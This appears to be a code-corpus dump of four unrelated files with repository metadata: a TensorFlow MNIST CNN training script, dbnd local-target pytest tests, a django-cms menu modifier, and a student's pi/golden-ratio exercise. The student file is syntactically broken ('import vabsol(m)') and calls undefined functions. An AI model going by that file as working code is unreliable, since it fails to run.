per_batch_size, :], Y_true: labels[batch_start:batch_start + per_batch_size, :], learning_rate : learning_rate_init}) batch_start += per_batch_size loss += batch_loss acc += batch_acc return loss / batch_count, acc / batch_count if __name__ == '__main__': with tf.Graph().as_default(): # 输入 with tf.name_scope('Inputs'): X_origin = tf.placeholder(tf.float32, [None, n_input], name='X_origin') Y_true = tf.placeholder(tf.float32, [None, n_classes], name='Y_true') X_image = tf.reshape(X_origin, [-1,28,28,1]) #前向推断 with tf.name_scope('Inference'): with tf.name_scope('Conv2d'): # 卷积层 weights = WeightsVariable(shape=[5,5,1,conv1_kernel_num], name_str='weights') biases = BiasesVariable(shape=[conv1_kernel_num], name_str='biases') conv_out = Conv2d(X_image, weights, biases, stride=1, padding='VALID') with tf.name_scope('Activate'):# 非线性激活层 activate_out = Activation(conv_out, activation=tf.nn.relu,name='relu') with tf.name_scope('Pool2d'): #池化层 pool_out = Pool2d(activate_out, pool=tf.nn.max_pool, k=2, stride=2) with tf.name_scope('FeatsReshape'): #将二维特征图变为一维特征向量,得到的是conv1_kernel_num个特征图,每个特征图是12*12的 features = tf.reshape(pool_out, [-1, 12 * 12 * conv1_kernel_num]) with tf.name_scope('FC_Linear'): #全连接层 weights = WeightsVariable(shape=[12 * 12 * conv1_kernel_num, n_classes], name_str='weights') biases = BiasesVariable(shape=[n_classes], name_str='biases') Ypred_logits = FullyConnected(features, weights, biases, activate=tf.identity, # 恒等映射,没有经过激活函数,所以没有任何改变 act_name='identity') #定义损失层 with tf.name_scope('Loss'): cross_entropy_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits( labels=Y_true, logits=Ypred_logits )) #定义优化训练层 with tf.name_scope('Train'): learning_rate = tf.placeholder(tf.float32) optimizer = tf.train.RMSPropOptimizer(learning_rate=learning_rate) global_step = tf.Variable(0, name='global_step', trainable=False, dtype=tf.int64) # optimizer = tf.train.AdagradDAOptimizer(learning_rate=learning_rate, global_step=global_step) # optimizer = tf.train.AdadeltaOptimizer(learning_rate=learning_rate) # optimizer = tf.train.AdagradOptimizer(learning_rate=learning_rate) # optimizer = tf.train.ProximalGradientDescentOptimizer(learning_rate=learning_rate) # optimizer = tf.train.ProximalAdagradOptimizer(learning_rate=learning_rate) # optimizer = tf.train.RMSPropOptimizer(learning_rate=learning_rate) # optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate) # optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=0.9) # optimizer = tf.train.FtrlOptimizer(learning_rate=learning_rate) ''' 两个步骤: 1.反向传播计算梯度 2.利用梯度下降算法优化权重与偏置 ''' #minimize更新参数后,这个global_step参数会自动加一,可以当做调用minimize的次数 trainer = optimizer.minimize(cross_entropy_loss, global_step=global_step) #定义模型评估层 with tf.name_scope('Evaluate'): correct_pred = tf.equal(tf.argmax(Ypred_logits, 1), tf.argmax(Y_true, 1)) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) init = tf.global_variables_initializer() # summary_writer = tf.summary.FileWriter(logdir='../logs/05/', graph=tf.get_default_graph()) # summary_writer.close() mnist = input_data.read_data_sets('../Total_Data/MNIST_data/', one_hot=True) results_list = list() results_list.append(['learning_rate', learning_rate_init, 'training_epochs', training_epochs, 'batch_size', batch_size, 'display_step', display_step, 'conv1_kernel_num', conv1_kernel_num]) results_list.append(['train_step', 'train_loss', 'validation_loss', 'train_step', 'train_accuracy', 'validation_accuracy']) with tf.Session() as sess: sess.run(init) total_batches = int(mnist.train.num_examples / batch_size) print("Per batch Size: ", batch_size) print("Train sample Count: ", mnist.train.num_examples) print("Total batch Count: ", total_batches) training_step = 0 for epoch in range(training_epochs): for batch_idx in range(total_batches): batch_x, batch_y = mnist.train.next_batch(batch_size) sess.run(trainer, feed_dict={X_origin : batch_x, Y_true : batch_y, learning_rate : learning_rate_init}) # training_step += 1 # global_step跟training_step是一个意思 training_step = sess.run(global_step) #跟上一句的效果是一样的 if training_step % display_step == 0: start_idx = max(0, (batch_idx - display_step) * batch_size) end_idx = batch_idx * batch_size train_loss, train_acc =EvaluateModelOnDataset(sess,mnist.train.images[start_idx:end_idx, :], mnist.train.labels[start_idx:end_idx, :]) print("Training Step: " + str(training_step) + ", Training Loss= " + "{:.6f}".format(train_loss) + ", Training Accuracy= " + "{:.5f}".format(train_acc)) validation_loss, validation_acc = EvaluateModelOnDataset(sess, mnist.validation.images,mnist.validation.labels) print("Training Step: " + str(training_step) + ", Validation Loss= " + "{:.6f}".format(validation_loss) + ", Validation Accuracy= " + "{:.5f}".format(validation_acc)) results_list.append([training_step, train_loss, validation_loss, training_step, train_acc, validation_acc]) print("训练完毕") test_samples_count = mnist.test.num_examples test_loss, test_accuracy = EvaluateModelOnDataset(sess, mnist.test.images, mnist.test.labels) print("Testing Samples Count:", test_samples_count) print("Testing Loss:", test_loss) print("Testing Accuracy:", test_accuracy) results_list.append(['test step', 'loss', test_loss, 'accuracy', test_accuracy]) # results_file = open('../logs/SummaryFiles/02.代码实现-05简单卷积网络-01简单卷积神经网络.csv', 'w', newline='') # csv_writer = csv.writer(results_file, dialect='excel') # for row in results_list: # csv_writer.writerow(row)
924add228ae4fae3582cb5a29409b21a5ba61c17
cb9755de39b3cb30a287710eecab1c2d7d8d4968
/modules/dbnd/test_dbnd/targets_tests/test_local_target.py
0643dee58975f88007260b400caf1b57dc79dff3
[ "Apache-2.0" ]
permissive
turbaszek/dbnd
64b57109967159f5ad7253f92fc9fea668a76573
6efbf3e7ecd175645e8e58d0d015d32fe9e95ea0
refs/heads/master
2021-04-20T22:23:39.009965
2020-03-23T06:40:00
2020-03-23T06:40:00
249,721,465
0
0
Apache-2.0
2020-03-27T14:34:39
2020-03-24T13:53:49
null
UTF-8
Python
false
false
8,271
py
# -*- coding: utf-8 -*- # # Copyright 2012-2015 Spotify AB # Modifications copyright (C) 2018 databand.ai # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from __future__ import print_function import bz2 import gzip import io import itertools import os from errno import EEXIST, EXDEV import mock import pytest import targets import targets.pipes from dbnd.testing.helpers_pytest import skip_on_windows from targets import target from test_dbnd.targets_tests.base_target_test_mixin import FileTargetTestMixin class TestLocalTarget(FileTargetTestMixin): @pytest.fixture(autouse=True) def set_paths_for_test(self, tmpdir, request): local_file = str(tmpdir.join("local_file")) self.path = local_file self.copy = local_file + "-copy-" def create_target(self, io_pipe=None): return targets.target(self.path, io_pipe=io_pipe) def assertCleanUp(self, tmp_path=""): if not tmp_path: return assert not os.path.exists(tmp_path) def test_exists(self): t = self.create_target() p = t.open("w") assert t.exists() == os.path.exists(self.path) p.close() assert t.exists() == os.path.exists(self.path) def test_write_simple(self): t = self.create_target() assert not t.exists() p = t.open("w") p.write("testtesttest") p.close() assert t.exists() assert open(t.path, "r").read() == "testtesttest" def test_write_wrapper(self): t = self.create_target() assert not t.exists() t.write("testtesttest") assert t.exists() assert open(t.path, "r").read() == "testtesttest" @skip_on_windows def test_gzip_with_module(self): t = target(self.path, io_pipe=targets.pipes.Gzip) p = t.open("w") test_data = b"test" p.write(test_data) print(self.path) assert not os.path.exists(self.path) p.close() assert os.path.exists(self.path) # Using gzip module as validation f = gzip.open(self.path, "r") assert test_data == f.read() f.close() # Verifying our own gzip reader f = target(self.path, io_pipe=targets.pipes.Gzip).open("r") assert test_data == f.read() f.close() @skip_on_windows def test_bzip2(self): t = target(self.path, io_pipe=targets.pipes.Bzip2) p = t.open("w") test_data = b"test" p.write(test_data) print(self.path) assert not os.path.exists(self.path) p.close() assert os.path.exists(self.path) # Using bzip module as validation f = bz2.BZ2File(self.path, "r") assert test_data == f.read() f.close() # Verifying our own bzip2 reader f = target(self.path, io_pipe=targets.pipes.Bzip2).open("r") assert test_data == f.read() f.close() def test_copy(self): t = target(self.path) f = t.open("w") test_data = "test" f.write(test_data) f.close() assert os.path.exists(self.path) assert not os.path.exists(self.copy) t.copy(self.copy) assert os.path.exists(self.path) assert os.path.exists(self.copy) assert t.open("r").read() == target(self.copy).open("r").read() def test_move(self): t = target(self.path) f = t.open("w") test_data = "test" f.write(test_data) f.close() assert os.path.exists(self.path) assert not os.path.exists(self.copy) t.move(self.copy) assert not os.path.exists(self.path) assert os.path.exists(self.copy) def test_move_across_filesystems(self): t = target(self.path) with t.open("w") as f: f.write("test_data") def rename_across_filesystems(src, dst): err = OSError() err.errno = EXDEV raise err real_rename = os.rename def mockrename(src, dst): if "-across-fs" in src: real_rename(src, dst) else: rename_across_filesystems(src, dst) copy = "%s-across-fs" % self.copy with mock.patch("os.rename", mockrename): t.move(copy) assert not os.path.exists(self.path) assert os.path.exists(copy) assert "test_data" == target(copy).open("r").read() @skip_on_windows def test_format_chain(self): UTF8WIN = targets.pipes.TextPipeline(encoding="utf8", newline="\r\n") t = target(self.path, io_pipe=UTF8WIN >> targets.pipes.Gzip) a = u"我é\nçф" with t.open("w") as f: f.write(a) f = gzip.open(self.path, "rb") b = f.read() f.close() assert b"\xe6\x88\x91\xc3\xa9\r\n\xc3\xa7\xd1\x84" == b @skip_on_windows def test_format_chain_reverse(self): t = target(self.path, io_pipe=targets.pipes.UTF8 >> targets.pipes.Gzip) f = gzip.open(self.path, "wb") f.write(b"\xe6\x88\x91\xc3\xa9\r\n\xc3\xa7\xd1\x84") f.close() with t.open("r") as f: b = f.read() assert u"我é\nçф" == b @mock.patch("os.linesep", "\r\n") def test_format_newline(self): t = target(self.path, io_pipe=targets.pipes.SysNewLine) with t.open("w") as f: f.write(b"a\rb\nc\r\nd") with t.open("r") as f: b = f.read() with open(self.path, "rb") as f: c = f.read() assert b"a\nb\nc\nd" == b assert b"a\r\nb\r\nc\r\nd" == c def theoretical_io_modes(self, rwax="rwax", bt=["", "b", "t"], plus=["", "+"]): p = itertools.product(rwax, plus, bt) return { "".join(c) for c in list( itertools.chain.from_iterable([itertools.permutations(m) for m in p]) ) } def valid_io_modes(self, *a, **kw): modes = set() t = self.create_target() t.open("w").close() for mode in self.theoretical_io_modes(*a, **kw): try: io.FileIO(t.path, mode).close() except ValueError: pass except IOError as err: if err.errno == EEXIST: modes.add(mode) else: raise else: modes.add(mode) return modes def valid_write_io_modes_for_targets(self): return self.valid_io_modes("w", plus=[""]) def valid_read_io_modes_for_targets(self): return self.valid_io_modes("r", plus=[""]) def invalid_io_modes_for_targets(self): return self.valid_io_modes().difference( self.valid_write_io_modes_for_targets(), self.valid_read_io_modes_for_targets(), ) def test_open_modes(self, tmpdir): t = targets.target(str(tmpdir.join("some_file"))) print("Valid write mode:", end=" ") for mode in self.valid_write_io_modes_for_targets(): print(mode, end=" ") p = t.open(mode) p.close() print() print("Valid read mode:", end=" ") for mode in self.valid_read_io_modes_for_targets(): print(mode, end=" ") p = t.open(mode) p.close() print() print("Invalid mode:", end=" ") # for mode in self.invalid_io_modes_for_targets(): # print(mode, end=" ") # with pytest.raises(Exception): # t.open(mode) print() class LocalTargetRelativeTest(TestLocalTarget): # We had a bug that caused relative file paths to fail, adding test for it path = "test.txt" copy = "copy.txt"
80c10ca7be99a36f645a76e73a3ef3a2ddacbf3d
e5b778a273e3888ad0575a9dada39d458158127a
/page_extend/menu.py
af9ee20528dfdba95ea996ccd54becce8c5e8ad0
[]
no_license
SevenLines/django-tealeaf
896784baead7b9514e83edad8c3c2defdcdd060b
959dbcbdd37a4e8f45de400e71710c5e746a97da
refs/heads/master
2021-01-23T00:01:43.793383
2015-05-15T15:58:52
2015-05-15T15:58:52
17,891,988
0
0
null
null
null
null
UTF-8
Python
false
false
717
py
from cms.models import Page from menus.base import Modifier from menus.menu_pool import menu_pool class PageExtendModifier(Modifier): """ """ def modify(self, request, nodes, namespace, root_id, post_cut, breadcrumb): if breadcrumb: return nodes for node in nodes: page = Page.objects.get(pk=node.id) pageextend = page.pageextend if hasattr(page, "pageextend") else None if pageextend: node.icon = pageextend.image node.touchable = pageextend.touchable node.authentication_required = pageextend.authentication_required return nodes menu_pool.register_modifier(PageExtendModifier)
000fa7d336c18bb5123c8819e4e0034612b94e24
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/40/usersdata/124/24859/submittedfiles/main.py
3274f178ccd8d3ee62b0080a390c7e6db74611c3
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
380
py
# -*- coding: utf-8 -*- from __future__ import division import funcoes import vabsol(m) #COMECE AQUI m = int(input('Digite o número m de termos da fórmula de pi: ')) epsilon = input('Digite o epsilon para o cálculo da razão áurea: ') m = vabsol(m) print('Valor aproximado de pi: %.15f' %calculopi(m)) print('Valor aproximado da razão áurea: %.15f' %razaurea(m, epsilon))